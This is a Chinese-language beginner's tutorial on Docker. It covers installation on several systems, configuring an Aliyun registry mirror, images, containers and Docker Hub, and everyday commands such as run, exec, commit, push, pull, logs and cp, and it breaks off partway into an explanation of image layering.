试想一下,如果有一天你换了一台新电脑,是不是新电脑里得重新安装很多很多东西?
docker可以做到,将你的以前的那个电脑的c盘d盘等等盘,压缩成一个压缩包,在新电脑上解压这个压缩包,这样新电脑就和以前的电脑,完全一样了,这个电脑上甚至垃圾箱,桌面,游戏什么的,都可以正常运行.
Docker是世界领先的软件容器平台,想要搞懂Docker的概念我们须从容器开始说起
容器就是一个存放东西的地方,就像书包可以装各种文具、衣柜可以放各种衣服、鞋架可以放各种鞋子一样。我们现在所说的容器存放的东西是比如是系统环境,网站,程序之类
早在十多年前国内外的一些大厂就开始投入研发和使用容器技术,比如Google,对他们来说,使用容器能够充分利用计算资源节省硬件成本,而这几年,真正把容器技术发扬光大的是Docker。
Docker让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化
她的slogan“Build,Ship & Run anywhere”定位非常清晰,Docker的出现打破了传统运维模式里从打包到部署的过程中环境、语言、平台不一致的乱象,将这一整套开发运维模式标准化了,从而真正帮助企业实践了DevOps和微服务化。
但是,国内的大型企业面临技术转型的的时候,历史包袱太沉重,对Docker的接受和部署非常缓慢。同样地,多数的中小型企业也并未把Docker作为生产环境上部署和管理服务的标配,而选择继续使用传统的运维方案。
造成这种现象的原因是什么呢?可能原因之一是企业从业人员对Docker的学习认知并不够。之二是目前市面上Docker的容器编排系统很多,常见的就有K8s、Mesos、Swarm、Rancher、Newben,编排系统的学习和认知成本也进一步提升了企业应用Docker的难度
本文作者同大家一起开始步入docker的镜像世界,一步一步,深入docker,从入门到精通,从使用到理解掌握
既然都是为了解决软件和环境的依赖问题,难道就docker这一个选择吗
通常我会使用百度指数,在涉足一个新的领域的时候帮助我了解这个领域哪些将会是趋势,哪些只是残留
通常我们会将docker和vmware进行对比
VMWare VS docker - Google Trends
VMWare VS docker - 百度指数
从搜索趋势图中可以看出来vmware是曾经的巨头,一直盘踞着一片江山,不过docker的增长趋势告诉我们, 时代要变了
Docker基本安装
mac安装了homebrew的话
直接brew cask install docker(我的没有成功,就去官网下载了)
官网下载需要登录帐号 下载的是ce版本
安装完后
启动终端后,通过命令可以是否安装成功
docker info
以及查看docker版本
docker --version
Docker中配置国内镜像
在正常情况下,docker有一个默认连接的国外官方镜像,在国外的网友访问该官方镜像自然不成问题,但是国内毕竟不是国外,由于国情不同,中国的网络访问国外官方镜像网速一向很慢,而且往往还会遭遇断网的窘境,所以说我们要想正常使用docker的镜像,那么我们就不得不配置相应的国内镜像。
Docker可以配置的国内镜像有很多可供选择,比如说:阿里云,网易蜂巢,DaoCloud,Docker中国区官方镜像等,这些都是可以提供给大家随意选择的不错的镜像仓库。
在任务栏点击 Docker for mac 应用图标(右上方) -> Perferences... -> Daemon -> Registry mirrors
阿里云提供的可使用镜像地址: https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
在列表中填写加速器地址即可。用的是阿里云的
{
"registry-mirrors": ["https://2v6jvius.mirror.aliyuncs.com"]
}
修改完成之后,点击 Apply & Restart 按钮,Docker 就会重启并应用配置的镜像地址了。
几种docker镜像云速度对比文章 如何快速的下载 Docker 镜像, 现存 Docker 镜像源横评
注意: 目前centos只有7以及以上的版本支持docker, 如果是6版本或者更低的版本,只能通过升级操作系统的方式, 不过升级操作系统(yum update)是一件非常非常危险的事情
Docker基本安装
使用yum包管理工具安装
yum install -y docker
查看是否安装成功
docker --version
启动docker服务
systemctl start docker
Docker中配置国内镜像
阿里云提供的可使用镜像地址: https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
使用vi修改vi /etc/docker/daemon.json 文件
{"registry-mirrors":["https://2v6jvius.mirror.aliyuncs.com"]}
配置完之后执行下面的命令重启系统,以使docker的配置文件生效
reboot
docker info可以查看到修改过的配置
Registry Mirrors:
http://hub-mirror.c.163.com
Docker基本安装
注意: 更快速的安装方式参见
华为开源镜像站_软件开发服务_华为云
#卸载旧版本
sudo apt-get remove docker docker-engine docker.io
# 安装包更新
sudo apt-get update
# 安装依赖
sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common
# 加Docker官方GPG key
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
#设置稳定版的Docker仓库
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
#安装 docker-ce
sudo apt-get install -y docker-ce
#查看是否安装成功
docker version
docker进程使用Unix Socket而不是TCP端口。
而默认情况下,Unix socket属于root用户,需要root权限才能访问。 所以使用或者并将当前用户加入到docker用户组中。
默认情况下,docker 命令会使用 Unix socket 与 Docker 引擎通讯。而只有 root 用户和 docker 组的用户才可以访问 Docker 引擎的 Unix socket。
出于安全考虑,一般 Linux 系统上不会直接使用 root 用户。
因此,更好地做法是将需要使用 docker 的用户加入 docker 用户组。
#建立 docker 组:
sudo groupadd docker
# 将当前用户加入 docker 组:
sudo usermod -aG docker $USER
#更新用户组
newgrp docker
#测试docker命令是否可以使用sudo正常使用
docker ps
Docker中配置国内镜像
阿里云提供的可使用镜像地址: https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
使用vi修改sudo vi /etc/docker/daemon.json 文件
{
"registry-mirrors": ["https://2v6jvius.mirror.aliyuncs.com"]
}
特别注意: 当配置了镜像加速后, 由于采用的是镜像网站的拉取, 和dockerhub必然存在区别, 例如(2023.6.23), 当配置了镜像后, 拉去docker pull redis之后, 不写明版本默认拉取镜像库中标明为latest的, 阿里云镜像中的latest版本为6.x版本, 而dockerhub中的为7版本, 两种版本差别巨大, 尤其是持久化方式
解决方案: 无论拉取什么镜像, 一定要显示的指明版本
配置完之后执行下面的命令,以使docker的配置文件生效
sudo service docker restart
sudo systemctl daemon-reload
sudo systemctl restart docker
docker info可以查看到修改过的配置
docker info|grep Mirrors -A 1
Registry Mirrors:
https://2v6jvius.mirror.aliyuncs.com/
最后一定要重启系统,如果不重启 不生效,拉去镜像依旧很慢
reboot
重启后所有此系统上没有开机自启功能的服务都需要手动再启动,否则这些服务都处于关闭状态.
注意: 重启系统之前确认通知到别的正在使用这台机器的开发小伙伴!
注意: 重启系统之前确认通知到别的正在使用这台机器的开发小伙伴!
注意: 重启系统之前确认通知到别的正在使用这台机器的开发小伙伴!
Docker基本安装
打开百度,搜索“docker download",单击如图中的链接,跳转到docker官方网站,点击“Download for Windows”,或者直接访问https://www.docker.com/products/docker-desktop
点击中下方的“Download Desktop For Mac And Windows",必须登录才能下载,跳转登录页,如果没有账号则注册后再登录,登录后,点“Download Desktop For ......."链接
弹出下载文件窗口,选择位置进行保存文件,等下载完成,双击运行“Docker for Windows Installer.exe”,开始安装
Docker中配置国内镜像
docker结构
镜像(image):
docker镜像就好比是一个模板,可以通过这个模板来创建容器服务,tomcat镜像===>run==>tomcato1容器(提供服务器),
通过这个镜像可以创建多个容器(最终服务运行或者项自运行就是在容器中的)。
容器(container):
Docker利用容器技术,独立运行一个或者一个组应用,通过镜像来创建的。
启动,停止,删除,基本命令!
目前就可以把这个容器理解为就是一个简易的linux系统
仓库(repository):
仓库就是存放镜像的地方!仓库分为公有仓库和私有仓库!
DockerHub(默认是国外的)
安装成功之后,打开终端
确定你想要的操作系统,如果是ubuntu
ubuntu@VM-24-6-ubuntu:~$ docker search ubuntu
NAME DESCRIPTION STARS OFFICIAL AUTOMATED
ubuntu Ubuntu is a Debian-based Linux operating sys… 14858 [OK]
websphere-liberty WebSphere Liberty multi-architecture images … 288 [OK]
docker seach会在dockerhub,dockerhub(dockerhub类似于github,github大部分用于提交同步代码,dockerhub用于镜像同步与存储)中寻找name和docker search str的这个str相接近的字符串
镜像:这里可以理解为一个压缩包,这有助于理解
然后我们将这个远程库中的镜像下拉到本地,在前期,你可以将镜像理解为一个压缩包,这里,就是ubuntu系统的压缩包
docker pull ubuntu:18.04
即可获取到最新的ubuntu版本的镜像
如果需要指明版本
docker pull ubuntu:版本号
即可获取到相应版本
image就是镜像的意思
docker image ls
命令简化:docker images
查看可以使用的所有image的列表
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 5182e96772bf 8 weeks ago 200MB
可以看到我们刚刚pull下来的镜像
TAG表示的版本号,latest表示是最新版,IMAGE ID可以唯一确定这个镜像,以后可以用这个序列号或者(名称:tag)表示这个镜像
CREATED表示这个镜像是什么时候被创建出来的
SIZE表示这个镜像的大小
接下来我们需要'解压'这个镜像
docker run -it -d --name myubuntu ubuntu:18.04 /bin/bash
解释:
这个命令执行完成之后, 我们就得到了一个解压后的文件夹(容器)
Docker run 命令用来创建一个新的容器并运行,相当于 docker create和docker start的组合。
用 docker run --help可以显示命令的使用说明。
-d 后台启动 非常重要, 当我们从这个容器('文件夹')中回到云服务器主环境的时候,它能够确保容器还在运行
-i, --interactive Keep STDIN open even if not attached(如果没有打开交互界面,则打开)
-t, --tty=false 分配tty设备,该可以支持终端登录,默认为false
既然我们要解压这个镜像,就一定得知道这个镜像('压缩包')是谁,ubuntu参数就可以唯一的确定这个'压缩包',可以唯一标识的只有name:tag或者id,如果像这样只写了name,没有注明tag,一律表示最新版latest,而这里用的是18.04
--name myubuntu --name参数后跟我们解压后的东西的名字myubuntu是名字,这样myubuntu就能唯一的确定这个解压后的东西,实际上我们之前说了,'压缩包'里压缩的就是一个ubuntu操作系统,所以解压后的东西就是一个ubuntu操作系统
/bin/bash
这是表示载入容器后运行bash ,docker创建并启动的容器中必须要保持一个进程的运行,要不然整个容器就会退出。
这个就表示启动容器后启动bash。
好的,介绍完了,让我们实际操作试试看
如果运行成功,就会有一个特别长的id的显示
742ba0866c880b6c156fa2ca70a1097fb3b17868d815d022269eacbffa02f66a
[root@izwz9bynirznl3zqp82226z ~]#
这就表示我们已经成功的创建并启动了这个ubuntu操作系统
742ba0866c880b6c156fa2ca70a1097fb3b17868d815d022269eacbffa02f66a这个比我们给这个系统起得名字更能唯一标识,但是不容易记忆,需要每次自己查看
如何查看这个容器(解压后的文件夹)
使用 docker ps 命令 这个命令会把当前的解压后并启动后的文件夹给罗列出来
ubuntu@VM-4-12-ubuntu:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
5978f9db30b0 ubuntu "/bin/bash" 6 minutes ago Up 6 minutes myubuntu
能够标识这个容器的唯一标识有 NAMES 或者 CONTAINER ID, 我们和image id当时一样,推荐使用名称,而不是id
我们现在需要在这个全新的容器系统中 模拟安装一些组件 但是前提是 我们得进入到这个系统中去,使用如下命令,进入到这个容器系统中('解压后的文件夹')
docker exec -it myubuntu /bin/bash
然后我们新建一个文件夹
cd /opt
mkdir mysql
这里的新建文件夹是简单工作,主要是表示我们在这个系统里面做了一些事,我们需要测试我们做的这个事(这里是新建文件夹)能不能被保存到'压缩包'中去,当然你可以在里面安装环境,写笔记,运行程序等等,但是某些需要暴露端口给外部使用的这种服务的安装,后面会详细介绍
安装成功后然后我们输入exit命令关闭这个窗口
也就相当于从刚刚的系统中退出了出来
那我们的修改,或者说是工作内容会被清除吗
doker ps
会显示所有正在运行的os(Operation System操作系统)
[root@izwz9bynirznl3zqp82226z ~]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
742ba0866c88 centos:7 "/bin/bash" 8 minutes ago Up 8 minutes mycentos
[root@izwz9bynirznl3zqp82226z ~]#
就会发现我们的系统还存在
可是我们还没有进入到这个系统
进入系统
:::解释docker exec
docker exec -it myubuntu /bin/bash
[root@9f733e598d67 /]#
这里的-it和/bin/bash和之前docker run的那个代表的意思类似
cd /opt
ls
进入容器后的目录为workdir,默认workdir为自己的home(~)下,我们创建的时候在home下,所以地址是没有问题的
发现我们之前的工作内容都在
也就是说即便exit或者关闭窗口,之后再次进入安装docker环境的机器(就是宿主机,比如我的就是mac环境)的窗口时,我们docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9f733e598d67 ubuntu "/bin/bash" 4 hours ago Up About an hour mycentos
然后我们可以将这个带有工作内容的容器(这个文件夹)'压缩'成镜像,这样相当于有了一个压缩包,每次我们解压这个压缩包都会的到一个相应工作内容的容器
docker commit myubuntu selton/myubuntu:1
注意: selton这个名字一定每个人不一样, 是你的dockerhub官网账号的名字
显示一个id 即创建成功
[root@izwz9bynirznl3zqp82226z ~]# docker commit myubuntu selton/myubuntu:1
sha256:c16d897ef7669108bc62fbdeb26c198e96352a69d528620c34e0d8b9a1af99f4
[root@izwz9bynirznl3zqp82226z ~]#
记得这儿的selton/myubuntu:1可以标识这个由9f733e598d67压缩包解压后得到的完整的os
/之前的selton一定要是你的用户名,就是你去docker官网注册的帐号的用户名,没有注册一定要注册一个,不然之后我们无法将压缩包像git提交代码到仓库一样提交我们的压缩包到远程库中
docker image ls就会发现一个新的压缩包
[root@izwz9bynirznl3zqp82226z ~]# clear
[root@izwz9bynirznl3zqp82226z ~]# docker image ls | grep ubuntu
selton/myubuntu 1 c16d897ef766 About a minute ago 203 MB
关闭并删除刚才的容器
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9f733e598d67 centos "/bin/bash" 4 hours ago Up About an hour mycentos
docker stop myubuntu
docker rm myubuntu
//如果想要一步到位的删除
docker rm -f myubuntu
将新的压缩包解压,看看里面有没有我们的工作内容
docker run -it -d --name myubuntu3 selton/myubuntu:21 /bin/bash
--name后面的myubuntu3是我们解压后的os的名字,selton/myubuntu:1的selton/myubuntu是name,1是tag,表示的是具体的某个压缩包
使用docker ps命令 可以查看到我们刚刚创建的这个新的'文件夹' myubuntu3
ubuntu@VM-4-12-ubuntu:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
62da51aa70b6 selton/myubuntu:1 "/bin/bash" 4 seconds ago Up 3 seconds myubuntu3
然后 我们现在需要确认这个新的'文件夹'中有没有我们之前安装好了的mysql
需要进入到这个文件夹里面查看一下
使用如下命令进入文件夹
docker exec -it myubuntu3 /bin/bash
cd /opt
ls
发现工作内容都在,至此,我们就明白了docker的主要作用
那么,我们的压缩包是在本地机器上的(这里是腾讯云ubuntu),但是开发环境和测试环境一定是不一样的,我们如何做到将我们的压缩包提交到云端,然后可以每次在别的机器上从云端下载我们的压缩包,这就和代码一样,记得我们起初是怎么获得ubuntu的吗
没错,回头看你会发现这个命令docker pull,这和git pull不光长得像,作用也是类似的,用于从远程库中获取到我们的压缩包,不过git中需要先建立本地库和特定远程库的关系,但是我们的docker的镜像库的远程库只有一个,就是dockerhub库
docker镜像提交的有一个官方镜像中心 需要先去注册一下 拥有账号
注册地址: https://hub.docker.com/
注意: 账号的名称非常重要,将来 提交的镜像的名称的前缀,必须是你的账号名称
官方下载docker是需要帐号的,此时我们已经有了帐号,如果没有,请前往官网注册一个帐号
docker login
会提示让输入用户名:selton
然后就是输入密码
登录需要大概十秒的时间
之后会显示Login Succeeded
如果需要退出,docker logout
Removing login credentials for https://index.docker.io/v1/
如果你和我一样使用了统一密码管理工具,请记得粘贴使用窗口上的编辑->paste,而不是cv
登录成功之后推送我们的镜像到自己的库中
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
selton/myubuntu 1 81bc6c9c1684 19 hours ago 200MB
docker push selton/myubuntu:21
查看到了我们制作的镜像('压缩包')
登录docker官网就可以看到多了一个你提交的这个镜像(''压缩包'')
也就是现在只要有一台机器安装了docker,就可以得到这个镜像('压缩包'),里面除了一个现成的os还有我们可能安装部署完的环境
先尝试一下本地下载远程的我们提交的镜像
先删除掉本地的容器和镜像, 先删除容器,后删除镜像
因为镜像诞生容器,所以必须这个镜像的所有的生成的已有容器被删除光,这个镜像才能被删除,否则删除会报错提示,删除不了
先删除掉本地的容器 关闭容器- 删除容器
docker stop myubuntu3
docker rm myubuntu3
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
selton/myubuntu 1 e732a1e5c865 About an hour ago 200MB
docker rmi selton/myubuntu:21
显示
Untagged: selton/myubuntu:1
Untagged: selton/myubuntu@sha256:8d264bbac07545d8933dcbab286bf343a52bf5a63426b5c4b9d944f4b9acc558
Deleted: sha256:e732a1e5c8652bbb8a48e2ffed6dee7c52df5dfc74f19b0c433b01f2a814417d
Deleted: sha256:3f45206b758eae4a3864432e0e0fda23991d3956a779d4831c1f95dcb4d7191b
docker images查看, 发现没有selton/myubuntu了
接着,我们从远程下载这个镜像
注意无论你本地是否登录 都可以下载共有的镜像 私有镜像需要所有者登录 这个和git的下载是一样的
可以使用命令docker search selton --limit 50
docker pull selton/myubuntu:21
就在下载了
下载如果失败 多试几遍
[root@izwz9bynirznl3zqp82226z ~]# docker pull selton/myubuntu:1
Trying to pull repository docker.io/selton/mycentos ...
1: Pulling from docker.io/selton/mycentos
75f829a71a1c: Already exists
dd4d5a6e6cd2: Already exists
Digest: sha256:6ff7b831d69a84c52471beb301e8bb3fbcd1517172efb0722155757851218b99
Status: Downloaded newer image for docker.io/selton/mycentos:1
[root@izwz9bynirznl3zqp82226z ~]#
在用docker image ls | grep ubuntu命令 就能查看到我们之前提交到dockerhub的那个镜像包
既然你能往dockerhub官网提交 别人也能 别人也会把自己安装好的软件上传到dockerhub
这样几乎所有的软件 就都会有一份或者多份的 提交 在dockerhub上了
比方说 我们查看一下 dockerhub上有多少个 mysql相关的提交呢
使用我们一开始寻找ubuntu的命令
docker search mysql
[root@izwz9bynirznl3zqp82226z ~]# docker search mysql
INDEX NAME DESCRIPTION STARS OFFICIAL AUTOMATED
docker.io docker.io/mysql MySQL is a widely used, open-source relati... 9893 [OK]
docker.io docker.io/mariadb MariaDB is a community-developed fork of M... 3621 [OK]
docker.io docker.io/mysql/mysql-server Optimized MySQL Server Docker images. Crea... 721 [OK]
就可以搜索到了 但是注意一个问题
mysql有多个版本 这里没有展示有哪些版本 版本号是什么
这个时候我们可以去dockerhub搜索
可以查看到他的众多版本 也可以查看官方推荐的docker安装方式
docker pull mysql:8
具体的安装方式见
扩展
我们在删除容器的时候最好还是使用docker rm -v 容器名 命令,加上-v参数会让容器在被删除的同时删除掉数据卷(默认使用rm命令是不会删除的),从而避免数据卷堆积造成的磁盘空间占满.
至此完成docker的入门使用
docker version #查看docker的版本信息
docker info #查看docker的系统信息
docker 命令 --help #帮助命令(可查看可选的参数)
docker COMMAND --help
1.docker images查看本地主机的所有镜像
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
hello-world latest bf756fb1ae65 11 months ago 13.3kB
#解释:
1.REPOSITORY 镜像的仓库源
2.TAG 镜像的标签
3.IMAGE ID 镜像的id
4.CREATED 镜像的创建时间
5.SIZE 镜像的大小
# 可选参数
-a/--all 列出所有镜像
-q/--quiet 只显示镜像的id
2.docker search搜索镜像
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker search mysql
NAME DESCRIPTION STARS OFFICIAL AUTOMATED
mysql MySQL is a widely used, open-source relation… 10308 [OK]
mariadb MariaDB is a community-developed fork of MyS… 3819 [OK]
mysql/mysql-server Optimized MySQL Server Docker images. Create… 754 [OK]
percona Percona Server is a fork of the MySQL relati… 517 [OK]
centos/mysql-57-centos7 MySQL 5.7 SQL database server 86
mysql/mysql-cluster Experimental MySQL Cluster Docker images. Cr… 79
centurylink/mysql Image containing mysql. Optimized to be link… 60 [OK]
#可选参数
Search the Docker Hub for images
Options:
-f, --filter filter Filter output based on conditions provided
--format string Pretty-print search using a Go template
--limit int Max number of search results (default 25)
--no-trunc Don't truncate output
搜索标星数数大于3000的镜像
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker search mysql --filter=STARS=3000
NAME DESCRIPTION STARS OFFICIAL AUTOMATED
mysql MySQL is a widely used, open-source relation… 10308 [OK]
mariadb MariaDB is a community-developed fordockerk of MyS… 3819 [OK]
3.docker pull 镜像名[:tag]下载镜像
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker pull mysql
Using default tag: latest #如果不写tag默认就是latest
latest: Pulling from library/mysql
6ec7b7d162b2: Pull complete #分层下载,docker image的核心-联合文件系统
fedd960d3481: Pull complete
7ab947313861: Pull complete
64f92f19e638: Pull complete
3e80b17bff96: Pull complete
014e976799f9: Pull complete
59ae84fee1b3: Pull complete
ffe10de703ea: Pull complete
657af6d90c83: Pull complete
98bfb480322c: Pull complete
6aa3859c4789: Pull complete
1ed875d851ef: Pull complete
Digest: sha256:78800e6d3f1b230e35275145e657b82c3fb02a27b2d8e76aac2f5e90c1c30873 #签名
Status: Downloaded newer image for mysql:latest
docker.io/library/mysql:latest
下载来源的真实地址 docker pull mysql 等价于docker pull http://docker.io/library/mysql:latest
指定版本下载
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker pull mysql:5.7
5.7: Pulling from library/mysql
6ec7b7d162b2: Already exists
fedd960d3481: Already exists
7ab947313861: Already exists
64f92f19e638: Already exists
3e80b17bff96: Already exists
014e976799f9: Already exists
59ae84fee1b3: Already exists
7d1da2a18e2e: Pull complete
301a28b700b9: Pull complete
529dc8dbeaf3: Pull complete
bc9d021dc13f: Pull complete
Digest: sha256:c3a567d3e3ad8b05dfce401ed08f0f6bf3f3b64cc17694979d5f2e5d78e10173
Status: Downloaded newer image for mysql:5.7
docker.io/library/mysql:5.7
4.docker rmi 删除镜像
-f表示强制删除 关联的容器仍然存在, 只不过这个容器显示的镜像的名称变成了一个随机的id
#1.删除指定的镜像id
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker rmi 镜像id
#2.删除多个镜像id
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker rmi 镜像id 镜像id 镜像id
运行容器的命令说明:
docker run [可选参数] image
#参数说明
--name="名字" 指定容器名字
-d 后台方式运行
-it 使用交互方式运行,进入容器查看内容
-p 指定容器的端口(-p ip:主机端口:容器端口 配置主机端口映射到容器端口-p 主机端口:容器端口-p 容器端口)
-p 3306:3306
-P 随机指定端口(大写的P)
run命令运行流程图
运行并进入容器
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker run -it centos /bin/bash
[root@bd1b8900c547 /]# ls
bin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
退出容器命令:
#exit 停止并退出容器(后台方式运行则仅退出, 不会关闭 容器)
[root@bd1b8900c547 /]# exit
exit
[root@iZwz99sm8v95sckz8bd2c4Z ~]#
列出正在运行的容器:
#docker ps
# 列出当前正在运行的容器
-a # 列出所有容器 用的非常多的一个参数
-n=? # 显示最近创建的n个容器
-q # 只显示容器的编号
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
bca129320bb5 centos "/bin/bash" 4 minutes ago Exited (0) 3 minutes ago optimistic_shtern
bd1b8900c547 centos "/bin/bash" 6 minutes ago Exited (0) 5 minutes ago cool_tesla
cf6adbf1b506 bf756fb1ae65 "/hello" 5 hours ago Exited (0) 5 hours ago optimistic_darwin
删除容器命令:
docker rm 容器id #删除指定的容器,不能删除正在运行的容器,强制删除使用 rm -f
启动和停止容器命令:
docker start 容器id #启动容器
docker restart 容器id #重启容器
docker stop 容器id #停止当前运行的容器
docker kill 容器id #强制停止当前容器(了解)
1 日志的查看
如果当前容器中得程序出现了一些bug, 此时会用docker logs 容器名 去查看容器内部的日志
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker logs --help
Usage: docker logs [OPTIONS] CONTAINER
Fetch the logs of a container
Options:
--details Show extra details provided to logs
-f, --follow Follow log output
--since string Show logs since timestamp (e.g. 2013-01-02T13:23:37Z) or relative (e.g. 42m for 42 minutes)
-n, --tail string Number of lines to show from the end of the logs (default "all")
-t, --timestamps Show timestamps
--until string Show logs before a timestamp (e.g. 2013-01-02T13:23:37Z) or relative (e.g. 42m for 42 minutes)
常用:
一般情况下 docker run创建完一个容器后 docker ps查看不到这个容器 说明容器刚创建完成就启动失败退出了 这时候可以使用这个命令查看程序启动失败的日志
docker logs 容器名称
docker logs --tail number 容器id #num为要显示的日志条数
#docker容器后台运行,必须要有一个前台的进程,否则会自动停止
#编写shell脚本循环执行,使得centos容器保持运行状态
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker run -d centos /bin/sh -c "while true;do echo hi;sleep 5;done"
c703b5b1911ff84d584390263a35707b6024816e1f46542b61918a6327a570dc
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c703b5b1911f centos "/bin/sh -c 'while t…" 13 seconds ago Up 10 seconds pedantic_banach
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker logs -tf --tail 10 c703b5b1911f
2020-12-27T03:34:07.255599560Z hi
2020-12-27T03:34:12.257641517Z hi
2020-12-27T03:34:17.259706294Z hi
2 查看容器中进程信息
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker top 容器名称
UID PID PPID C STIME TTY TIME CMD
root 11156 11135 0 11:31 ? 00:00:00 /bin/sh -c while true;do echo hi;sleep 5;done
root 11886 11156 0 11:43 ? 00:00:00 /usr/bin/coreutils --coreutils-prog-shebang=sleep /usr/bin/sleep 5
3 进入当前正在运行的容器 重要
因为通常我们的容器都是使用后台方式来运行的,有时需要进入容器修改配置
创建容器的命令 dokcer run --name ubuntu21 -it -d /bin/bash
方式一:
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker exec -it c703b5b1911f /bin/bash
[root@c703b5b1911f /]# ls
bin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
[root@c703b5b1911f /]# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 03:31 ? 00:00:00 /bin/sh -c while true;do echo hi;sleep 5;done
root 279 0 0 03:54 pts/0 00:00:00 /bin/bash
root 315 1 0 03:56 ? 00:00:00 /usr/bin/coreutils --coreutils-prog-shebang=sleep /usr/bin/sleep 5
root 316 279 0 03:56 pts/0 00:00:00 ps -ef
方式二:
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker attach c703b5b1911f
docker exec 进入容器后开启一个新的终端,可以在里面操作
docker容器系统的重要特点: 如果当前容器系统中没有任何一个正在运行的程序, 该系统会被自动关机退出
docker attach 进入容器正在执行的终端,不会启动新的进程(不会创建新的黑窗口)
4 拷贝操作
#拷贝容器的文件到主机中
docker cp 容器id:容器内路径 目的主机路径
#拷贝宿主机的文件到容器中 -- 用的比较多
docker cp 目的主机路径 容器id:容器内路径
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker exec -it c703b5b1911f /bin/bash
[root@c703b5b1911f /]# cd home
[root@c703b5b1911f home]# ls
#touch 新建文件
[root@c703b5b1911f home]# touch test.java
[root@c703b5b1911f home]# ls
test.java
[root@c703b5b1911f home]# exit
exit
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c703b5b1911f centos "/bin/sh -c 'while t…" 35 minutes ago Up 35 minutes pedantic_banach
[root@iZwz99sm8v95sckz8bd2c4Z ~]# docker cp c703b5b1911f:/home/test.java /home
[root@iZwz99sm8v95sckz8bd2c4Z ~]# ls /home
hai pan test.java
5 查看docker镜像,容器,数据卷的磁盘占用情况
docker system df
TYPE TOTAL ACTIVE SIZE RECLAIMABLE
Images 23 13 9.915GB 3.714GB (37%)
Containers 21 3 1.525GB 1.525GB (99%)
Local Volumes 102 11 7.763GB 6.893GB (88%)
Build Cache 0 0 0B 0B
发现其中数据卷占用空间很大, 并且可回收空间也大,使用命令回收不再使用的数据卷
docker volume prune
.......
2c9626fb484cc0a32fa6d6984db9b206120c40217e18091600907cf5ce499e31
99749c3f881510b7f8f466eb055962ecfb60fcc147104967654306ad80d27b9f
afb9b0fc8df0e43349cd87c59c2be4c3cb34b6a21bffe571466111ad9a059782
apache-tomcat-8.5.69
........
Total reclaimed space: 6.893GB
删除不再使用的镜像
docker image prune
再次使用命令 查看磁盘占用
ubuntu@VM-24-6-ubuntu:~$ docker system df
TYPE TOTAL ACTIVE SIZE RECLAIMABLE
Images 23 13 9.915GB 3.714GB (37%)
Containers 21 3 1.525GB 1.525GB (99%)
Local Volumes 11 11 869.8MB 0B (0%)
Build Cache 0 0 0B 0B
镜像是一种轻量级、可执行的独立软件包,用来打包软件运行环境和基于运行环境开发的软件,它包含运行某个软件所需要的所有内容,包括代码,运行时(一个程序在运行或者在被执行的依赖)、库,环境变量和配置文件。
Docker的镜像实际上由一层一层的文件系统组成,这种层级的文件系统名字叫UnionFS联合文件系统。
UnionFS(联合文件系统):Union文件系统(UnionFS)是一种分层、轻量级并且高性能的文件系统,它支持对文件系统的修改作为一次提交来一层层的叠加,同时可以将不同目录挂载到同一个虚拟文件系统下(uniteseveraldirectories intoasinglevirtualfilesystem)。
Union文件系统是Docker镜像的基础。镜像可以通过分层来进行继承,基于基础镜像(没有父镜像),可以制作各种具体的应用镜像。
特性:一次同时加载多个文件系统,但从外面看起来,只能看到一个文件系统,联合加载会把各层文件系统叠加起来,这样最终的文件系统会包含所有底层的文件和目录
我们可以去下载一个镜像,注意观察下载的日志输出,可以看到是一层一层的在下载!
思考:为什么Docker镜像要采用这种分层的结构呢?
最大的好处,莫过于是资源共享了!比如有多个镜像都从相同的基础镜像构建而来,那么宿主机只需在磁盘上保留一份基础镜像
镜像,同时内存中也只需要加载一份base镜像,这样就可以为所有的容器服务了,而镜像的每一层都可以被共享。
查看镜像分层的方式可以通过docker image inspect mysql:5.7命令!
分层信息查看
所有的Docker镜像都起始于一个基础镜像层,当进行修改或增加新的内容时,就会在当前镜像层之上,创建新的镜像层
举一个简单的例子,假如基于UbuntuLinux18.04创建一个新的镜像,这就是新镜像的第一层;
